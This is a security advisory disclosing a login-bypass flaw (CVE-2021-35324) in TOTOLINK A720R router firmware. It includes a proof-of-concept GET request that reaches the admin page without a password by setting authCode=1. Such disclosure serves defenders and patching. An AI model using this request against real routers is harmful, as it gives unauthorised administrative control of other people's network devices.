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TOTOLINK Vulnerability

Vendor:TOTOLINK

Product:A720R

Version:A720R_Firmware(V4.1.5cu.470_B20200911)

Type:Login bypass

Author:Huizhao Wang, Chuan Qin

Institution:wanghuizhao@iie.ac.cn, qinchuan@iie.ac.cn

Vulnerability description

We found a Login bypass vulnerability in TOTOLINK Technology router with firmware which was released recently, allows remote attackers to login admin page without password.

In Form_Login function, getNthValueSafe loops to get url parameters. If there is authCode in the url parameter and its value is 1, then the following check will pass directly.

image-20210611105043705

POC

We set authCode=1 and userName=admin , then sending GET request such as:

http://192.168.0.1/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login

Finally, we enter the admin page as an admin user.

CVE info

CVE-2021-35324